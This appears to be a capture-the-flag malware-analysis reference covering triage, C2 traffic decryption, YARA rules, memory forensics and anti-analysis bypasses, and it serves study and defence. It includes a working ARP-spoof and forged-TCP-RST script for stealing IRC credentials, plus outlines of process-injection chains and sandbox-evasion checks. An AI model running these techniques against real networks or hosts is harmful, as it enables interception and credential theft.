Ctf Malware

CTF Malware & Network Analysis

Quick reference for malware analysis CTF challenges. Each technique has a one-liner here; see supporting files for full details with code.

Prerequisites

Python packages (all platforms):

pip install yara-python pefile capstone oletools unicorn pycryptodome \
  volatility3 dissect.cobaltstrike

Linux (apt):

apt install strace ltrace tshark binwalk binutils

macOS (Homebrew):

brew install wireshark binwalk binutils ghidra

Manual install:

• dnSpy — GitHub, .NET decompiler (Windows)

Additional Resources

• scripts-and-obfuscation.md - JavaScript deobfuscation, PowerShell analysis, eval/base64 decoding, junk code detection, hex payloads, Debian package analysis, dynamic analysis techniques (strace/ltrace, network monitoring, memory string extraction, automated sandbox execution), YARA rules for malware detection, shellcode analysis (Unicorn Engine, Capstone), memory forensics for malware (Volatility 3 malfind, process injection detection), anti-analysis techniques (VM detection, timing evasion, API hashing, process injection), trojanized plugin analysis with custom alphabet C2 decoding
• c2-and-protocols.md - C2 traffic patterns, custom crypto protocols, RC4 WebSocket, DNS-based C2, network indicators, PCAP analysis, AES-CBC, encryption ID, Telegram bot recovery, Poison Ivy RAT Camellia decryption
• pe-and-dotnet.md - PE analysis (peframe, pe-sieve, pestudio), .NET analysis (dnSpy, AsmResolver), LimeRAT extraction, sandbox evasion, malware config extraction, PyInstaller+PyArmor

---

When to Pivot

• If the sample is really just a normal crackme, packed challenge binary, or custom VM with no malware behavior, switch to /ctf-reverse.
• If the main job is network reconstruction, disk carving, or host artifact recovery, switch to /ctf-forensics.
• If the challenge turns into public attribution or infrastructure tracing, switch to /ctf-osint.

Quick Start Commands

# Static analysis
file suspicious_file
strings -n 8 suspicious_file | head -50
xxd suspicious_file | head -20

# PE analysis
python3 -c "import pefile; pe=pefile.PE('mal.exe'); print(pe.dump_info())" | head
peframe mal.exe

# Dynamic analysis (sandboxed!)
strace -f -s 200 ./suspicious 2>&1 | head -100
ltrace ./suspicious 2>&1 | head -50

# Network indicators
strings suspicious_file | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
strings suspicious_file | grep -iE 'http|ftp|ws://'

# YARA scan
yara -r rules.yar suspicious_file

Obfuscated Scripts

• Replace eval/bash with echo to print underlying code; extract base64/hex blobs and analyze with file. See scripts-and-obfuscation.md.

JavaScript & PowerShell Deobfuscation

• JS: Replace eval with console.log, decode unescape(), atob(), String.fromCharCode().
• PowerShell: Decode -enc base64, replace IEX with output. See scripts-and-obfuscation.md.

Junk Code Detection

• NOP sleds, push/pop pairs, dead writes, unconditional jumps to next instruction. Filter to extract real call targets. See scripts-and-obfuscation.md.

PCAP & Network Analysis

tshark -r file.pcap -Y "tcp.stream eq X" -T fields -e tcp.payload

Look for C2 on unusual ports. Extract IPs/domains with strings | grep. See c2-and-protocols.md.

Custom Crypto Protocols

• Stream ciphers share keystream state for both directions; concatenate ALL payloads chronologically.
• ChaCha20 keystream extraction: send nullbytes (0 XOR anything = anything). See c2-and-protocols.md.

C2 Traffic Patterns

• Beaconing, DGA, DNS tunneling, HTTP(S) with custom headers, encoded payloads. See c2-and-protocols.md.

RC4-Encrypted WebSocket C2

• Remap port with tcprewrite, add RSA key for TLS decryption, find RC4 key in binary. See c2-and-protocols.md.

Identifying Encryption Algorithms

• AES: 0x637c777b S-box; ChaCha20: expand 32-byte k; TEA/XTEA: 0x9E3779B9; RC4: sequential S-box init. See c2-and-protocols.md.

AES-CBC in Malware

• Key = MD5/SHA256 of hardcoded string; IV = first 16 bytes of ciphertext. See c2-and-protocols.md.

PE Analysis

peframe malware.exe      # Quick triage
pe-sieve                 # Runtime analysis
pestudio                 # Static analysis (Windows)

See pe-and-dotnet.md.

.NET Malware Analysis

• Use dnSpy/ILSpy for decompilation; AsmResolver for programmatic analysis. LimeRAT C2: AES-256-ECB with MD5-derived key. See pe-and-dotnet.md.

Malware Configuration Extraction

• Check .data section, PE/.NET resources, registry keys, encrypted config files. See pe-and-dotnet.md.

Sandbox Evasion Checks

• VM detection, debugger detection, timing checks, environment checks, analysis tool detection. See pe-and-dotnet.md.

Anti-Analysis Techniques

VM detection (CPUID, MAC prefix, registry, disk size), timing evasion (sleep/RDTSC sandbox detection), API hashing (ROR13/DJB2/CRC32 + hashdb lookup), process injection (hollowing, APC, CreateRemoteThread), environment checks. See scripts-and-obfuscation.md.

Trojanized Plugin Analysis

Diff malicious plugin against official release to find injected code in try/except blocks. Custom alphabet rotation (C[(C.index(ch) - offset) % len(C)]) decodes C2 domain, XOR decodes endpoint path. See scripts-and-obfuscation.md.

PyInstaller + PyArmor Unpacking

• pyinstxtractor.py to extract, PyArmor-Unpacker for protected code. See pe-and-dotnet.md.

Telegram Bot Evidence Recovery

• Use bot token from malware source to call getUpdates and getFile APIs. See c2-and-protocols.md.

Debian Package Analysis

ar -x package.deb && tar -xf control.tar.xz  # Check postinst scripts

See scripts-and-obfuscation.md.

YARA Rules for Malware Detection

Write YARA rules to match byte patterns, strings, and regex against files or memory dumps. Detect XOR loops ({31 ?? 80 ?? ?? 4? 75}), base64 blobs, encoded PowerShell. Use yarac to compile for faster scanning. See scripts-and-obfuscation.md.

Shellcode Analysis

Disassemble with objdump -b binary -m i386:x86-64, emulate with Unicorn Engine (hook syscalls safely), or use Capstone for programmatic disassembly. Look for XOR decoder stubs. See scripts-and-obfuscation.md.

Memory Forensics for Malware

vol3 windows.malfind detects injected code (PAGE_EXECUTE_READWRITE without mapped file). windows.pstree reveals suspicious parent-child relationships. YARA scan memory with yarascan.YaraScan. See scripts-and-obfuscation.md.

Network Indicators Quick Reference

strings malware | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
tshark -r capture.pcap -Y "dns.qry.name" -T fields -e dns.qry.name | sort -u

C2 Traffic and Protocol Analysis

Table of Contents

• PCAP Analysis
• Custom Crypto Protocols
• C2 Traffic Patterns
• Network Indicators
• RC4-Encrypted WebSocket C2 Traffic
• Password Rotation in C2
• AES-CBC in Malware
• Identifying Encryption Algorithms
• Telegram Bot API for Evidence Recovery
• Poison Ivy RAT Traffic Decryption (Trend Micro CTF 2015)
• DarkComet RAT Forensics (CrewCTF 2023)
• Cobalt Strike Beacon Analysis in PCAP (FireShell CTF 2020)
• ARP Spoof + TCP RST Injection to Capture IRC C2 Creds (TAMUctf 2019)

---

PCAP Analysis

tshark -r file.pcap -Y "tcp.stream eq X" -T fields -e tcp.payload

Look for C2 communication patterns on unusual ports (e.g., port 21 not for FTP).

Custom Crypto Protocols

• Stream ciphers may share keystream state for both directions
• Concatenate ALL payloads chronologically before decryption
• Look for hardcoded keys in .rodata
• ChaCha20 keystream extraction: Send large nullbytes payload (0 XOR anything = anything)
• Alternative: Pipe ciphertext from pcap directly into the binary

C2 Traffic Patterns

• Beaconing: regular intervals
• Domain generation algorithms (DGA)
• Encoded/encrypted payloads
• HTTP(S) with custom headers
• DNS tunneling

Network Indicators

# Extract IPs/domains
strings malware | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
strings malware | grep -E '[a-zA-Z0-9.-]+\.(com|net|org|io)'

# DNS queries
tshark -r capture.pcap -Y "dns.qry.name" -T fields -e dns.qry.name | sort -u

RC4-Encrypted WebSocket C2 Traffic

Pattern (Tampered Seal): Malware uses WSS over non-standard port with RC4 encryption.

Decryption workflow: 1. Identify C2 port from malware source (not standard 443) 2. Remap port with tcprewrite so Wireshark decodes TLS 3. Add RSA key for TLS decryption -> reveals WebSocket frames 4. Find RC4 key hardcoded in malware binary 5. Decrypt each WebSocket payload with RC4 via CyberChef

Malware communication patterns:

• Registration message: hostname, OS, username, privileges
• Exfiltration: screenshots, keylog data, file contents
• Commands: reverse shell, file download, process list

Password Rotation in C2

Pattern: C2 uses rotating passwords based on time/sequence

Analysis: 1. Find password generation function 2. Identify rotation trigger (time-based, message count) 3. Sync your decryptor with the rotation

def get_current_password(timestamp):
    # Password changes every hour
    hour_bucket = timestamp // 3600
    return hashlib.sha256(f"seed_{hour_bucket}".encode()).digest()

AES-CBC in Malware

Common key derivation:

• MD5/SHA256 of hardcoded string
• Derived from timestamp or PID
• Password-based (PBKDF2)

Analysis approach:

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib

# Common pattern: key = MD5(password)
password = b"hardcoded_password"
key = hashlib.md5(password).digest()

# IV often first 16 bytes of ciphertext
iv = ciphertext[:16]
ct = ciphertext[16:]

cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(ct), 16)

Identifying Encryption Algorithms

By constants:

• AES: 0x637c777b, 0x63636363 (S-box)
• ChaCha20: expand 32-byte k or 0x61707865
• RC4: Sequential S-box initialization
• TEA/XTEA: 0x9E3779B9 (golden ratio)

By structure:

• Block cipher: Fixed-size blocks, padding
• Stream cipher: Byte-by-byte, no padding
• Hash: Mixing functions, rounds, constants

Telegram Bot API for Evidence Recovery

Pattern (Stomaker): Malware uses Telegram bot to exfiltrate stolen data.

Recover exfiltrated data via bot token:

# If you have the bot API token from malware source:
import requests

TOKEN = "bot_token_here"
# Get updates (message history)
r = requests.get(f"https://api.telegram.org/bot{TOKEN}/getUpdates")
# Download files sent to bot
file_id = "..."
r = requests.get(f"https://api.telegram.org/bot{TOKEN}/getFile?file_id={file_id}")
file_path = r.json()['result']['file_path']
requests.get(f"https://api.telegram.org/file/bot{TOKEN}/{file_path}")

---

Poison Ivy RAT Traffic Decryption (Trend Micro CTF 2015)

Pattern: PCAP contains Poison Ivy RAT (Remote Access Trojan) traffic. Poison Ivy uses Camellia cipher with the key derived from an attacker-supplied password (null-padded to key length). The default password is "admin".

# Decrypt using MITRE's ChopShop framework + FireEye Poison Ivy module
chopshop -f capture.pcap -s ./output/ "poisonivy_23x -c -w admin"

Identification:

• Traffic to non-standard ports (often 3460, 65535)
• Initial handshake with 256-byte key exchange
• Encrypted data blocks with 8-byte aligned lengths

Alternative decryption (Python):

from Crypto.Cipher import Camellia

password = b"admin"
key = password.ljust(32, b'\x00')[:32]  # null-pad to 256 bits
cipher = Camellia.new(key, Camellia.MODE_ECB)
plaintext = cipher.decrypt(encrypted_data)

Key insight: Poison Ivy's encryption key is derived solely from the attacker password with null-byte padding — no key derivation function. The default password "admin" is commonly left unchanged. ChopShop with poisonivy_23x module automates full session reconstruction (screenshots, file listings, keystrokes). Also try common passwords: "password", "p0ison", or challenge-provided hints.

---

DarkComet RAT Forensics (CrewCTF 2023)

Identify and analyze DarkComet RAT artifacts in memory dumps and disk images.

# DarkComet keylogger log locations:
# %APPDATA%/dclogs/YYYY-MM-DD-N.dc
# Format: plaintext with window titles and keystrokes

# Volatility: find DarkComet artifacts
volatility3 -f memory.dmp windows.filescan | grep -i dclogs
volatility3 -f memory.dmp windows.filescan | grep -i "\.dc$"

# Dump the keylogger files
volatility3 -f memory.dmp windows.dumpfiles --dump-dir=output -Q <physical_address>

# DarkComet persistence:
# Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
# Points to: rundll32.exe wrapper or direct executable
# Check with:
volatility3 -f memory.dmp windows.registry.printkey --key "Software\Microsoft\Windows\CurrentVersion\Run"

# DarkComet network indicators:
# Default port: 1604
# Mutex: typically "DarkComet" or custom string
# Process: often injects into legitimate process (svchost.exe, explorer.exe)
volatility3 -f memory.dmp windows.netscan | grep 1604

Key insight: DarkComet stores offline keylogger data in .dc files under %APPDATA%/dclogs/ with date-stamped filenames. These survive in memory dumps and can be carved with Volatility's filescan + dumpfiles. Check the Run registry key for persistence mechanisms.

---

Cobalt Strike Beacon Analysis in PCAP (FireShell CTF 2020)

Detect and decode Cobalt Strike beacon traffic from network captures.

# Cobalt Strike beacon indicators in PCAP:
# - HTTP GET/POST to /submit.php, /pixel, /__utm.gif, /ca, /dpixel (default URIs)
# - Cookie contains base64-encoded metadata
# - Regular check-in intervals (default: 60s sleep)
# - User-Agent matches common Malleable C2 profiles

# Wireshark filters for CS traffic:
# http.request.uri contains "submit.php" or http.request.uri contains "__utm"
# http.cookie contains base64 pattern

# Decode beacon config from captured DLL/shellcode:
# pip install dissect.cobaltstrike
python3 -c "
from dissect.cobaltstrike import beacon
for config in beacon.iter_beacons(open('beacon.bin', 'rb')):
    print(config)
    # Shows: C2 server, sleep time, jitter, URI paths, user-agent, watermark
"

# Extract beacon from PCAP:
tshark -r capture.pcap -Y "http.response" -T fields -e http.file_data | xxd -r -p > payload.bin
# Then analyze with dissect.cobaltstrike or CobaltStrikeParser

Key insight: Cobalt Strike uses "Malleable C2" profiles that customize HTTP indicators, but the underlying beacon protocol structure is consistent. Look for regular-interval HTTP requests with encoded cookies/parameters. The dissect.cobaltstrike Python library can extract full beacon configs from captured payloads.

---

ARP Spoof + TCP RST Injection to Capture IRC C2 Creds (TAMUctf 2019)

Pattern (Alt-F4 for Ops): CTF network looks empty (nmap on 172.30.0.0/28 shows only a gateway at .1 and one peer at .2), but the gateway routes to a hidden IRC C2 server (172.30.20.10). Legitimate clients connect with a PASS command we never get to see. Mount a classic MITM:

# 1. Poison the LAN so .2's traffic to .1 flows through our box
sudo arpspoof -i tap0 -r -t 172.30.0.2 172.30.0.1

# 2. Route the hidden subnet through the spoofed gateway
sudo route add -net 172.30.20.0/28 gw 172.30.0.1 dev tap0

# 3. Wireshark / tcpdump reveals the IRC server, but we land mid-session
#    (no PASS captured). Force a reconnect by spoofing a TCP RST.

Use scapy to forge a RST into the live stream so the client reconnects and re-sends PASS:

from scapy.all import sniff, send, IP, TCP
VICTIM, SERVER = "172.30.0.2", "172.30.20.10"

def kill(p):
    if p.haslayer(TCP) and p[IP].src == VICTIM and p[TCP].dport == 6667:
        rst = IP(src=SERVER, dst=VICTIM) / TCP(
            sport=6667, dport=p[TCP].sport,
            seq=p[TCP].ack, flags="R")
        send(rst, verbose=0)

sniff(iface="tap0", filter=f"host {SERVER} and tcp port 6667", prn=kill)

A few seconds later the intercepted stream contains PASS underling and JOIN #void. Same technique run from a pivot bot recovers the server-operator secret (OPER baal darksecret). For inline payload rewriting, mitmproxy's rawtcp.py layer can be edited directly to drop buf = buf.replace(b'old', b'new') inside the TCP relay, giving arbitrary protocol MITM without an HTTP plugin.

Key insight: Non-HTTP C2 (IRC, custom TCP) defeats mitmproxy --mode transparent defaults, but ARP spoofing plus forged RSTs turn any long-lived TCP session into a replayable handshake — you do not need to crack the auth, you just force the client to perform it again in front of you. Combine with mitmproxy raw-TCP source edits for in-flight payload substitution when you need to stay invisible to both endpoints.

References: TAMUctf 2019 — Alt-F4 for Ops, writeup 13478

PE, .NET, and Binary Malware Analysis

Table of Contents

• PE Analysis
• Sandbox Evasion Checks
• Malware Configuration Extraction
• .NET DNS-based C2
• .NET Malware Analysis (C2 Extraction)
• PyInstaller + PyArmor Unpacking

---

PE Analysis

peframe malware.exe      # Quick triage
pe-sieve                 # Runtime analysis
pestudio                 # Static analysis (Windows)

Sandbox Evasion Checks

Look for:

• VM detection (VMware, VirtualBox artifacts)
• Debugger detection (IsDebuggerPresent)
• Timing checks (sleep acceleration)
• Environment checks (username, computername)
• File/registry checks for analysis tools

Malware Configuration Extraction

Common storage locations:

• .data section (hardcoded)
• Resources (PE resources, .NET resources)
• Registry keys written at install
• Encrypted config file dropped to disk

Extraction tools:

# PE resources
wrestool -x -t 10 malware.exe -o config.bin

# .NET resources
monodis --mresources malware.exe

# Strings in .rdata/.data
objdump -s -j .rdata malware.exe

.NET DNS-based C2

Pattern: Deobfuscated .NET malware with DNS C2

Analysis with dnSpy: 1. Find network functions (TcpClient, DnsClient, etc.) 2. Identify encoding/encryption wrappers 3. Look for command dispatch (switch on opcode)

AsmResolver for programmatic analysis:

using AsmResolver.DotNet;
var module = ModuleDefinition.FromFile("malware.dll");
foreach (var type in module.GetAllTypes()) {
    foreach (var method in type.Methods) {
        // Analyze method body
    }
}

.NET Malware Analysis (C2 Extraction)

Tools: ILSpy, dnSpy, dotPeek

LimeRAT C2 extraction (Whisper Of The Pain): 1. Open .NET binary in dnSpy 2. Find configuration class with Base64 encoded string 3. Identify decryption method (typically AES-256-ECB with derived key) 4. Key derivation: MD5 of hardcoded string -> first 15 + full 16 bytes + null = 32-byte key 5. Decrypt: Base64 decode -> AES-ECB decrypt -> reveals C2 IP/domain

from Crypto.Cipher import AES
import hashlib, base64

key_source = '${8\',`d0}n,~@J;oZ"9a'
md5 = hashlib.md5(key_source.encode()).hexdigest()
# Key = first 15 bytes of MD5 + full 16 bytes + null (64 hex chars -> 32 bytes)
key = bytes.fromhex(md5[:30] + md5 + '00')[:32]

cipher = AES.new(key, AES.MODE_ECB)
plaintext = cipher.decrypt(base64.b64decode(encrypted_b64))

PyInstaller + PyArmor Unpacking

# Step 1: Extract PyInstaller archive
python pyinstxtractor.py malware.exe
# Look for main .pyc file in extracted directory

# Step 2: If PyArmor-protected, use unpacker
# github.com/Svenskithesource/PyArmor-Unpacker
# Three methods available; choose based on PyArmor version

# Step 3: Clean up deobfuscated source
# Remove fake/dead-code functions (confusion code)
# Identify core encryption/exfiltration logic

Scripts and Obfuscation Analysis

Table of Contents

• Obfuscated Scripts (General)
• JavaScript Deobfuscation
• PowerShell Analysis
• Junk Code Detection
• Hex-Encoded Payloads
• Debian Package Analysis
• Dynamic Analysis Techniques
• YARA Rules for Malware Detection
• Shellcode Analysis
• Memory Forensics for Malware
• Anti-Analysis Techniques
• VM / Sandbox Detection
• Timing-Based Evasion
• API Hashing
• Process Injection Techniques
• Environment Variable / Hostname Checks

---

Obfuscated Scripts (General)

• Replace eval/bash with echo to print underlying code
• Extract base64/hex blobs and analyze with file
• Common deobfuscation chain: base64 decode -> gzip decode -> reverse -> base64 decode

JavaScript Deobfuscation

// Replace eval with console.log
eval = console.log;
// Then run the obfuscated code

// Common patterns
unescape()           // URL decoding
String.fromCharCode() // Char codes
atob()               // Base64

PowerShell Analysis

# Common obfuscation
-enc / -EncodedCommand  # Base64 encoded
IEX / Invoke-Expression # Eval equivalent
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded))

Junk Code Detection

Pattern: Obfuscation adds meaningless instructions around real code

Identification:

• NOP sleds, push/pop pairs that cancel
• Arithmetic that results in zero/identity
• Dead writes (register written but never read before next write)
• Unconditional jumps to next instruction

Filtering technique:

# Identify real calls by looking for patterns
# junk, junk, junk, CALL target, junk, junk
# Extract call targets, ignore surrounding noise

def extract_real_calls(disassembly):
    calls = []
    for instr in disassembly:
        if instr.mnemonic == 'call' and not is_junk_target(instr.operand):
            calls.append(instr)
    return calls

Hex-Encoded Payloads

• Convert hex to bytes, try common transformations: subtract 1, XOR with key

Debian Package Analysis

ar -x package.deb           # Unpack debian package
tar -xf control.tar.xz      # Check control files
# Look for postinst scripts that execute payloads

---

Dynamic Analysis Techniques

# Behavioral monitoring with strace/ltrace
strace -f -e trace=network,file -o trace.log ./malware
ltrace -f -o ltrace.log ./malware

# Network monitoring during execution
# Terminal 1: capture traffic
sudo tcpdump -i any -w malware_traffic.pcap &
# Terminal 2: DNS monitoring
sudo tcpdump -i any port 53 -l | tee dns_queries.log &
# Terminal 3: run sample
timeout 60 ./malware

# File system monitoring (Linux)
inotifywait -m -r /tmp /var/tmp --format '%T %w%f %e' --timefmt '%H:%M:%S' &
./malware

# Process monitoring
watch -n 1 'ps aux | grep -v grep | grep malware'

# Memory string extraction during runtime
# Run malware, then dump strings from its memory
pid=$(pgrep malware)
strings /proc/$pid/maps
cat /proc/$pid/mem 2>/dev/null | strings | grep -i flag
# Or use gdb: gdb -p $pid -batch -ex 'dump memory dump.bin 0x400000 0x500000'

# Automated sandbox execution with timeout
import subprocess, os, tempfile

def run_sample(path, timeout=30):
    """Run malware sample with monitoring"""
    with tempfile.NamedTemporaryFile(suffix='.pcap', delete=False) as pcap:
        # Start packet capture
        tcpdump = subprocess.Popen(
            ['sudo', 'tcpdump', '-i', 'any', '-w', pcap.name],
            stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

        try:
            # Run with strace
            result = subprocess.run(
                ['strace', '-f', '-e', 'trace=network,file', path],
                capture_output=True, text=True, timeout=timeout)
            print("STDOUT:", result.stdout[:500])
            print("STDERR (syscalls):", result.stderr[:2000])
        except subprocess.TimeoutExpired:
            print(f"Sample ran for {timeout}s (killed)")
        finally:
            tcpdump.terminate()
            print(f"PCAP saved: {pcap.name}")

Key insight: Dynamic analysis reveals runtime behavior that static analysis misses: actual C2 domains resolved, encryption keys in memory, dropped files, and anti-analysis checks that were bypassed. Always run in an isolated environment (VM snapshot, Docker container) and monitor network, filesystem, and process activity simultaneously.

---

YARA Rules for Malware Detection

# Basic YARA rule structure
cat > detect_malware.yar << 'EOF'
rule SuspiciousStrings {
    meta:
        description = "Detect common malware indicators"
    strings:
        $s1 = "cmd.exe /c" nocase
        $s2 = "powershell -enc" nocase
        $s3 = {4D 5A 90 00}  // MZ header (hex pattern)
        $s4 = /https?:\/\/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/  // IP-based URL
        $xor_loop = {31 ?? 80 ?? ?? 4? 75}  // XOR decode loop pattern
    condition:
        2 of ($s*) or $xor_loop
}
EOF

# Scan files
yara detect_malware.yar suspicious_file.exe
yara -r detect_malware.yar /path/to/directory/  # Recursive scan

# Scan memory dump
yara detect_malware.yar memory.dmp

Common YARA patterns for CTFs:

rule Base64_PowerShell {
    strings:
        $enc = "powershell" nocase
        $b64 = /[A-Za-z0-9+\/]{50,}={0,2}/
    condition:
        $enc and $b64
}

rule XOR_Encrypted_PE {
    strings:
        $mz = {4D 5A}
    condition:
        not $mz at 0 and filesize < 1MB
        // PE without MZ header = likely XOR encrypted
}

Key insight: YARA rules match byte patterns, strings, and regex against files or memory. In CTFs, write rules to detect specific obfuscation patterns (XOR loops, base64 blobs, encoded PowerShell), then apply to memory dumps or malware samples. Use yarac to compile rules for faster scanning.

---

Shellcode Analysis

# Extract shellcode from binary
objdump -d shellcode.bin -b binary -m i386:x86-64 -M intel

# Emulate shellcode with unicorn engine
python3 << 'PYEOF'
from unicorn import *
from unicorn.x86_const import *

shellcode = open('shellcode.bin', 'rb').read()
mu = Uc(UC_ARCH_X86, UC_MODE_64)
BASE = 0x400000
STACK = 0x7fff0000

mu.mem_map(BASE, 0x1000)
mu.mem_map(STACK - 0x1000, 0x2000)
mu.mem_write(BASE, shellcode)
mu.reg_write(UC_X86_REG_RSP, STACK)

# Hook syscalls to trace behavior
def hook_syscall(mu, user_data):
    rax = mu.reg_read(UC_X86_REG_RAX)
    print(f"syscall: {rax}")

mu.hook_add(UC_HOOK_INSN, hook_syscall, None, 1, 0, UC_X86_INS_SYSCALL)
mu.emu_start(BASE, BASE + len(shellcode))
PYEOF

# Disassemble with capstone
python3 -c "
from capstone import *
md = Cs(CS_ARCH_X86, CS_MODE_64)
code = open('shellcode.bin','rb').read()
for i in md.disasm(code, 0x0):
    print(f'{i.address:#x}: {i.mnemonic} {i.op_str}')
"

# Quick analysis with scdbg (Windows shellcode emulator)
scdbg /f shellcode.bin

Key insight: Shellcode in CTF malware challenges is often XOR-encoded or staged. Look for decoder stubs (short loops with XOR), then extract and decode the payload. Unicorn Engine emulation is safer than running shellcode — it intercepts syscalls without executing them.

---

Memory Forensics for Malware

# Volatility 3 — analyze memory dump for malware indicators
# List processes (look for suspicious names, unusual parents)
vol3 -f memory.dmp windows.pslist
vol3 -f memory.dmp windows.pstree

# Detect hidden/unlinked processes
vol3 -f memory.dmp windows.psscan

# Dump suspicious process memory
vol3 -f memory.dmp windows.memmap --pid PID --dump

# Extract injected code (process hollowing, DLL injection)
vol3 -f memory.dmp windows.malfind

# Network connections from malware
vol3 -f memory.dmp windows.netscan

# Command-line arguments (reveals malware parameters)
vol3 -f memory.dmp windows.cmdline

# DLL list per process (detect injected DLLs)
vol3 -f memory.dmp windows.dlllist --pid PID

# YARA scan on memory dump
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule test { strings: $s = \"flag{\" condition: $s }"

Key insight: windows.malfind detects injected code by finding memory regions with PAGE_EXECUTE_READWRITE protection and no corresponding mapped file — the hallmark of process injection. Combine with windows.pstree to find processes with unexpected parent-child relationships (e.g., svchost.exe spawned by cmd.exe).

---

Anti-Analysis Techniques

Malware uses runtime checks to detect analysis environments and alter behavior. Bypass these to reach the actual malicious functionality. For comprehensive anti-debug, anti-VM/sandbox, and anti-DBI bypass strategies, see ctf-reverse/anti-analysis.md.

VM / Sandbox Detection

Pattern: Malware checks for virtualization artifacts before executing payload. In CTFs, the "real" flag logic is behind these checks.

Key insight: Identify the detection method, then patch the check or fake the environment.

# Common VM detection checks and bypasses:

# 1. CPUID check (hypervisor bit 31 of ECX after CPUID leaf 1)
# Bypass: patch JNZ after CPUID to JMP, or run in bare metal
# In GDB: set $ecx = $ecx & ~(1<<31)

# 2. MAC address prefix (VMware: 00:0C:29, 00:50:56; VBox: 08:00:27)
# Bypass: change VM NIC MAC to real hardware prefix

# 3. Registry keys (Windows)
# HKLM\SOFTWARE\VMware, Inc.\VMware Tools
# HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest
# Bypass: delete keys or patch registry check

# 4. File/process checks
VM_ARTIFACTS = [
    'vmtoolsd.exe', 'vmwaretray.exe', 'VBoxService.exe',
    'qemu-ga.exe', 'sandboxie', 'wireshark.exe',
    '/sys/class/dmi/id/product_name',  # "VMware Virtual Platform"
    'C:\\windows\\system32\\drivers\\vmmouse.sys',
]

# 5. Disk size check (VMs often have small disks)
# if total_disk < 60GB: exit()
# Bypass: expand VM disk or patch comparison

# 6. CPU count / RAM check
# if cpu_count < 2 or ram < 2GB: exit()
# Bypass: allocate more resources to VM

Timing-Based Evasion

Pattern: Malware uses sleep(), GetTickCount(), or RDTSC to detect accelerated execution in sandboxes.

# Detection: large sleep followed by time check
# import time
# start = time.time()
# time.sleep(300)  # 5 minutes
# if time.time() - start < 290: sys.exit()  # Sandbox fast-forwarded sleep

# Bypass approaches:
# 1. Patch sleep to NOP: elf.asm(elf.symbols['sleep'], 'ret')
# 2. Hook GetTickCount/time() to return expected values
# 3. In GDB: set breakpoint after sleep, manually advance
# 4. Binary patching: change sleep(300) to sleep(0)

Key insight: Look for calls to sleep, time.sleep, NtDelayExecution, GetTickCount64, QueryPerformanceCounter. If the sample just sits there doing nothing, it's likely in a sleep-based anti-sandbox check.

API Hashing

Pattern: Instead of importing functions by name (visible in strings/imports), malware resolves API addresses at runtime by hashing function names and comparing to hardcoded hash values.

# Common hash algorithms for API resolution:
# ROR13 (rotate-right 13) — most common, used by Metasploit
def ror13_hash(name):
    h = 0
    for c in name:
        h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF
        h = (h + ord(c)) & 0xFFFFFFFF
    return h

# DJB2 hash
def djb2_hash(name):
    h = 5381
    for c in name:
        h = ((h * 33) + ord(c)) & 0xFFFFFFFF
    return h

# CRC32-based
import binascii
def crc32_hash(name):
    return binascii.crc32(name.encode()) & 0xFFFFFFFF

# Reversing: build lookup table from Windows API names
# hashdb.openanalysis.net — online API hash lookup
# ShellcodeHasher — matches hashes against known Windows APIs

# In Ghidra: find the hash comparison constant, look up in hashdb
# Pattern: loop over PEB→Ldr→InMemoryOrderModuleList, hash each export name

Key insight: When strings output shows almost no readable API names but the binary clearly does complex operations, suspect API hashing. Look for the hash function (small loop with XOR/rotate/add), then use hashdb or build a rainbow table against kernel32.dll and ntdll.dll exports.

Process Injection Techniques

Pattern: Malware injects code into legitimate processes to evade detection. Understanding the injection method helps extract the actual payload.

# Classic injection chain:
# 1. OpenProcess(target_pid)
# 2. VirtualAllocEx(remote, ..., PAGE_EXECUTE_READWRITE)
# 3. WriteProcessMemory(remote, shellcode)
# 4. CreateRemoteThread(remote, shellcode_addr)

# Process hollowing:
# 1. CreateProcess(legitimate.exe, CREATE_SUSPENDED)
# 2. NtUnmapViewOfSection(hollow out the image)
# 3. VirtualAllocEx + WriteProcessMemory (write malicious PE)
# 4. SetThreadContext (point EIP/RIP to new entry)
# 5. ResumeThread

# Detection in memory dumps:
vol3 -f memory.dmp windows.malfind  # PAGE_EXECUTE_READWRITE without file backing
vol3 -f memory.dmp windows.hollowfind  # Hollowed processes (VAD vs PEB mismatch)

# APC injection (no new thread):
# QueueUserAPC(shellcode_addr, target_thread, ...)
# Thread executes shellcode on next alertable wait

# For CTF: dump the injected code region and analyze separately
vol3 -f memory.dmp windows.malfind --dump --pid <PID>

Environment Variable / Hostname Checks

Pattern: Malware checks for specific environment conditions (hostname, username, domain, locale) to target specific victims or avoid analysis labs.

# Common checks:
# - Hostname matches target: if socket.gethostname() != 'TARGET-PC': exit()
# - Username: if os.getlogin() in ['admin', 'sandbox', 'malware']: exit()
# - Domain membership: if 'WORKGROUP' in os.environ.get('USERDOMAIN', ''): exit()
# - Locale/language: WinAPI GetUserDefaultLangID()
# - Specific file must exist: if not os.path.exists('C:\\Users\\victim\\document.xlsx'): exit()

# Bypass: set environment variables before running
# export COMPUTERNAME=TARGET-PC
# Or patch the comparison in the binary

Key insight: If a malware sample exits immediately or behaves differently than expected, trace its API calls with strace/ltrace or step through with a debugger. Look for string comparisons against environment values early in execution.

---

Trojanized Plugin Analysis with Custom Alphabet C2 Decoding (INShAck 2018)

Pattern: Diff a malicious Sublime Text plugin against the official release to find injected base64 payload in try/except block. The payload uses Caesar-cipher-like rotation on a custom alphabet to encode the C2 domain, and XOR with 0x42 for the endpoint path.

# Custom alphabet rotation for C2 domain decoding
C = '0123456789abcdefghijklmnopqrstuvwxyz-.'
encoded_domain = "..."
domain = ''.join(C[(C.index(ch) - 0x0d) % len(C)] for ch in encoded_domain)

# XOR decoding for endpoint path
encoded_path = [44, 45, 54, 43, 36, 59]
path = ''.join(chr(b ^ 0x42) for b in encoded_path)

# Registration + flag retrieval
